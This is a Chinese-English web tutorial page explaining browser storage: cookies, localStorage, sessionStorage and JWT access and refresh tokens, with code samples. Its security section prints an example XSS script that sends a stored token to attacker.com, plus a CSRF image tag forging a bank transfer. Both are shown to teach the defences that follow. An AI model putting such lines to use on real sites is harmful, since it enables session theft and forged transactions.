Skip to content
Gains Summary
Main Navigation 首页 / Home
C++ 编程 / C++ Programming
系统与高性能 / Systems & Performance
Web 开发 / Web Development
人工智能 / Artificial Intelligence
工业软件 / Industrial Software
其他内容 / Other Topics
C++ 编程 / C++系统与性能 / SystemsWeb 开发 / Web人工智能 / AI工业软件 / Industrial

外观

Sidebar Navigation

← Web 开发 / Web Development

Web 平台与 API / Web Platform & APIs

1. 浏览器存储完全指南 / A Complete Guide to Browser Storage

2. 网络基础——10 万长连接是如何拖垮服务器的 / Network Fundamentals and the Cost of One Hundred Thousand Connections

3. API 设计——为什么你的接口总是被吐槽 / API Design for Clear and Evolvable Interfaces

本页目录

浏览器存储完全指南 / A Complete Guide to Browser Storage ​

解释浏览器端存储的各种机制:Cookie、localStorage、sessionStorage、Token。


1. 为什么要了解浏览器存储? ​

你在开发 Web 应用时,需要把一些数据存在浏览器端:

typescript
// 场景 1:登录状态
用户登录后,刷新页面,仍然保持登录状态

// 场景 2:用户偏好
用户设置了"深色模式",刷新后仍然保持

// 场景 3:购物车
用户添加了商品,关闭浏览器再打开,商品还在
1
2
3
4
5
6
7
8

浏览器提供了多种存储机制,它们各有特点和用途。


2. 浏览器存储 vs 服务器存储 ​

重要澄清:名字很像,但是完全不同的东西!

名称位置说明
sessionStorage浏览器(前端)浏览器端的会话级存储
Session服务器(后端)服务器端的会话数据

浏览器端 vs 服务器端 ​

┌─────────────────────────────────────────────────────────────────┐
│                         你的电脑                                 │
│                                                                  │
│   ╔═════════════════════════════════════════════════════════╗  │
│   ║                      浏览器(前端)                        ║  │
│   ║                                                           ║  │
│   ║   ┌──────────────────┐    ┌──────────────────┐           ║  │
│   ║   │   Cookie         │    │   Web Storage    │           ║  │
│   ║   │                  │    │                  │           ║  │
│   ║   │  ┌────────────┐  │    │  ┌────────────┐ │           ║  │
│   ║   │  │ 存放数据    │  │    │  │localStorage│ │           ║  │
│   ║   │  │ Session ID │  │    │  │ 永久存储   │ │           ║  │
│   ║   │  └────────────┘  │    │  └────────────┘ │           ║  │
│   ║   │                  │    │                  │           ║  │
│   ║   │  ┌────────────┐  │    │  ┌────────────┐ │           ║  │
│   ║   │  │httpOnly    │  │    │  │sessionSto- │ │           ║  │
│   ║   │  │安全存储    │  │    │  │rage        │ │           ║  │
│   ║   │  │ Token      │  │    │  │ 会话存储   │ │           ║  │
│   ║   │  └────────────┘  │    │  │(页面关闭  │ │           ║  │
│   ║   └──────────────────┘    │  │  即清除)  │ │           ║  │
│   ║                           └──────────────────┘           ║  │
│   ╚═════════════════════════════════════════════════════════╝  │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ 网络请求
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                         服务器(后端)                           │
│                                                                  │
│   ╔═════════════════════════════════════════════════════════╗  │
│   ║                     Session Store                         ║  │
│   ║                                                           ║  │
│   ║   ┌─────────────────────────────────────────────────┐    ║  │
│   ║   │  Session(会话数据)                               │    ║  │
│   ║   │  ┌──────────────────────────────────────────┐   │    ║  │
│   ║   │  │ sessionId: "abc123"                      │   │    ║  │
│   ║   │  │ user: { id: 1, name: "Tom", role: "admin" │   │    ║  │
│   ║   │  │ loginTime: "2024-01-01 10:00:00"          │   │    ║  │
│   ║   │  └──────────────────────────────────────────┘   │    ║  │
│   ║   └─────────────────────────────────────────────────┘    ║  │
│   ╚═════════════════════════════════════════════════════════╝  │
│                                                                  │
└─────────────────────────────────────────────────────────────────┘
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

存储位置对比 ​

┌────────────┐      Cookie (sessionId)      ┌─────────────┐
│   浏览器    │ ──────────────────────────► │   服务器     │
│            │                               │             │
│localStorage│      手动携带 Token           │   Session  │
│sessionSto- │ ──────────────────────────► │   Store    │
│rage        │                               │ (内存/Redis)│
└────────────┘                               └─────────────┘

  浏览器存的都是"凭证"                        服务器存的是"数据"
1
2
3
4
5
6
7
8
9

3. Cookie ​

3.1 什么是 Cookie? ​

Cookie 是浏览器存储的一小段文本数据,每次向同域名发送请求时,会自动带上 Cookie。

浏览器                                            服务器
  │                                                  │
  │──── 访问 https://example.com ─────────────────►│
  │◄─── 响应 + Set-Cookie: user=Tom; expires=...──│
  │     (浏览器保存 Cookie)                       │
  │                                                  │
  │──── 再次访问(自动带 Cookie)────────────────►│
  │     Cookie: user=Tom                             │
  │◄─── 响应 ─────────────────────────────────────│
1
2
3
4
5
6
7
8
9

3.2 Cookie 的特点 ​

特性说明
自动发送每次请求自动携带同域名下的 Cookie
大小限制约 4KB
生命周期可以设置过期时间
服务端设置通过响应头的 Set-Cookie 设置

3.3 Cookie 的结构 ​

http
Set-Cookie: name=value; expires=Fri, 31 Dec 2024 23:59:59 GMT; path=/; domain=.example.com; secure; HttpOnly; SameSite=Lax
1

3.4 Cookie 的属性 ​

属性说明示例值
nameCookie 名称sessionId
valueCookie 值abc123xyz
expires过期时间Sat, 01 Jan 2025 00:00:00 GMT
maxAge有效期(秒)86400
path作用路径/、/admin
domain作用域名.example.com
secure仅 HTTPStrue
httpOnly禁止 JS 访问true
sameSiteCSRF 防护strict、lax、none

3.5 在 JavaScript 中操作 Cookie ​

javascript
// 写入 Cookie
document.cookie = "username=Tom; path=/; max-age=3600"  // 1小时

// 读取 Cookie(只能读所有 Cookie 的字符串)
console.log(document.cookie)
// "username=Tom; token=abc123; theme=dark"

// 封装读取函数
function getCookie(name) {
  const match = document.cookie.match(new RegExp('(^| )' + name + '=([^;]+)'))
  return match ? match[2] : null
}

getCookie("username")  // "Tom"

// 删除 Cookie(把过期时间设为过去)
document.cookie = "username=; max-age=0"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

3.6 Cookie 的用途 ​

  • 会话管理:Session ID 的载体
  • 个性化设置:主题、语言偏好
  • 跟踪分析:记录用户行为

4. localStorage ​

4.1 什么是 localStorage? ​

localStorage 是 Web Storage API 的一种,持久化存储,除非手动清除,否则永不过期。

javascript
// 存储数据
localStorage.setItem("username", "Tom")
localStorage.setItem("theme", "dark")

// 读取数据
localStorage.getItem("username")  // "Tom"
localStorage.getItem("theme")      // "dark"

// 删除数据
localStorage.removeItem("username")

// 清空所有
localStorage.clear()

// 查看所有数据
console.log(localStorage)  // Storage { length: 2, ... }
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

4.2 localStorage 的特点 ​

特性说明
持久存储永不过期,除非手动清除
容量大约 5-10MB
字符串存储只能存字符串,对象需 JSON 序列化
同源策略只能访问同源(协议+域名+端口)的数据
不自动发送不会随请求发送,需要手动读取

4.3 存储对象 ​

javascript
const user = {
  id: 1,
  name: "Tom",
  role: "admin"
}

// ❌ 错误:会变成 "[object Object]"
localStorage.setItem("user", user)

// ✅ 正确:JSON 序列化
localStorage.setItem("user", JSON.stringify(user))

// ✅ 读取时解析
const userData = JSON.parse(localStorage.getItem("user"))
console.log(userData.name)  // "Tom"
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

4.4 常见用途 ​

  • Token 存储:存放 JWT
  • 用户偏好:主题、语言、设置
  • 离线数据:缓存一些数据

4.5 与 Pinia 配合(持久化) ​

typescript
// 安装
npm install pinia-plugin-persistedstate

// 使用
import { createPinia } from "pinia"
import piniaPluginPersistedstate from "pinia-plugin-persistedstate"

const pinia = createPinia()
pinia.use(piniaPluginPersistedstate)

// 定义 Store
import { defineStore } from "pinia"

export const useUserStore = defineStore("user", {
  state: () => ({
    username: "",
    token: ""
  }),
  persist: true  // 开启持久化,自动存到 localStorage
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

5. sessionStorage ​

5.1 什么是 sessionStorage? ​

sessionStorage 和 localStorage 类似,但会话级别:页面关闭后自动清除。

javascript
// 存储
sessionStorage.setItem("tempData", "some value")

// 读取
sessionStorage.getItem("tempData")  // "some value"

// 页面关闭后,数据消失
1
2
3
4
5
6
7

5.2 sessionStorage 的特点 ​

特性说明
会话级存储关闭标签页/浏览器后清除
同一标签页共享同一个标签页的不同页面可以共享
容量大约 5-10MB
不自动发送不会随请求发送

5.3 常见用途 ​

  • 表单暂存:用户填写表单时临时保存
  • 页面间传值:同一标签页内的页面共享数据
  • 敏感临时数据:不需要持久化的数据

6. Token(浏览器端) ​

6.1 什么是 Token? ​

这里的 Token 指的是身份令牌,不是 AI 的 token。Token 是服务器颁发给客户端的"身份证"。

Token 的本质:一个加密的字符串,包含用户身份信息
1

6.2 Token 的类型 ​

Access Token(访问令牌) ​

typescript
// 服务器生成 JWT 作为 Access Token
const accessToken = jwt.sign(
  { userId: 1, role: "admin" },
  secret,
  { expiresIn: "1h" }  // 1小时后过期
)

// 客户端存储
localStorage.setItem("accessToken", accessToken)

// 客户端使用(每次请求携带)
fetch("/api/data", {
  headers: {
    "Authorization": `Bearer ${localStorage.getItem("accessToken")}`
  }
})
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

特点:

  • 有效期短(通常 1 小时以内)
  • 每次请求都需要

Refresh Token(刷新令牌) ​

typescript
// 服务器生成 Refresh Token(有效期长,如 7 天)
const refreshToken = jwt.sign(
  { userId: 1 },
  refreshSecret,
  { expiresIn: "7d" }
)

// 客户端存储(建议存 Cookie,更安全)
localStorage.setItem("refreshToken", refreshToken)

// Access Token 过期时,用 Refresh Token 换新的
async function refreshAccessToken() {
  const refreshToken = localStorage.getItem("refreshToken")
  
  const response = await fetch("/api/refresh", {
    method: "POST",
    body: JSON.stringify({ refreshToken })
  })
  
  const { accessToken } = await response.json()
  localStorage.setItem("accessToken", accessToken)
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

特点:

  • 有效期长(通常 7-30 天)
  • 只在刷新时使用
  • 泄露风险低

6.3 Token 存储在哪里? ​

存储方式优点缺点
localStorage使用简单,容量大容易受到 XSS 攻击
Cookie (HttpOnly)安全,不受 XSS 影响需要服务端配合,受 SameSite 限制
sessionStorage会话级,更安全关闭页面后丢失

6.4 推荐:Cookie + Token 方案 ​

typescript
// 服务器端:设置 HttpOnly Cookie
res.cookie("accessToken", accessToken, {
  httpOnly: true,
  secure: true,
  sameSite: "strict",
  maxAge: 1000 * 60 * 60  // 1小时
})

// 客户端:无须手动处理,浏览器自动发送
fetch("/api/data")  // 自动带 Cookie
1
2
3
4
5
6
7
8
9
10

7. 四者对比 ​

特性CookielocalStoragesessionStorageToken
容量~4KB~5-10MB~5-10MB无限制
生命周期可设置永不过期会话结束取决于代码
自动发送✅❌❌❌
服务端设置✅❌❌❌
JS 访问✅(非 httpOnly)✅✅✅
同源限制✅✅✅✅
常见用途Session ID持久化数据临时数据身份认证

8. 安全问题 ​

8.1 XSS(跨站脚本攻击) ​

攻击者通过注入恶意脚本,读取 localStorage 中的数据。

javascript
// 攻击者注入的脚本
const tokens = localStorage.getItem("accessToken")
fetch("https://attacker.com/steal?token=" + tokens)
1
2
3

防御:

  • 对用户输入进行转义
  • 使用 HttpOnly Cookie 存储 Token
  • 使用 CSP(内容安全策略)

8.2 CSRF(跨站请求伪造) ​

攻击者诱导用户访问恶意页面,利用用户已登录的状态发起请求。

html
<!-- 恶意页面 -->
<img src="https://bank.com/transfer?to=attacker&amount=10000">
1
2

防御:

  • 使用 SameSite Cookie
  • 验证 Referer 或 Origin 头
  • 使用 CSRF Token

9. 常见问题 ​

Q1:Cookie 和 localStorage 有什么区别? ​

  • Cookie:自动随请求发送,常用于 Session ID
  • localStorage:需要手动读取,不会自动发送,容量更大

Q2:Token 存在 Cookie 还是 localStorage? ​

  • 安全性要求高:Cookie(HttpOnly)
  • 简单易用:localStorage
  • 移动端/前后端分离:通常用 localStorage 或 sessionStorage

Q3:sessionStorage 和 localStorage 什么时候用? ​

  • 需要持久保存:localStorage
  • 只在当前页面会话使用:sessionStorage

Q4:为什么 Token 不用 Cookie 存? ​

  • Token 可能很长,Cookie 有 4KB 限制
  • 某些场景需要跨域携带(如 CORS)

10. 总结 ​

概念说明
Cookie自动发送的小段数据,常用于 Session ID
localStorage持久化存储,容量大,JS 可访问
sessionStorage会话级存储,关闭页面后清除
Access Token短期访问令牌,用于每次请求认证
Refresh Token长期刷新令牌,用于获取新的 Access Token
httpOnly禁止 JS 访问,防止 XSS
SameSiteCSRF 防护机制

最佳实践:

  1. 敏感信息用 HttpOnly Cookie
  2. Token 用 localStorage 或 HttpOnly Cookie
  3. 临时数据用 sessionStorage
  4. 永远不要在 localStorage 存密码

最后更新于:

Pager
上一篇← Web 开发 / Web Development
下一篇2. 网络基础——10 万长连接是如何拖垮服务器的 / Network Fundamentals and the Cost of One Hundred Thousand Connections

持续记录,持续成长

Copyright © Tidenflow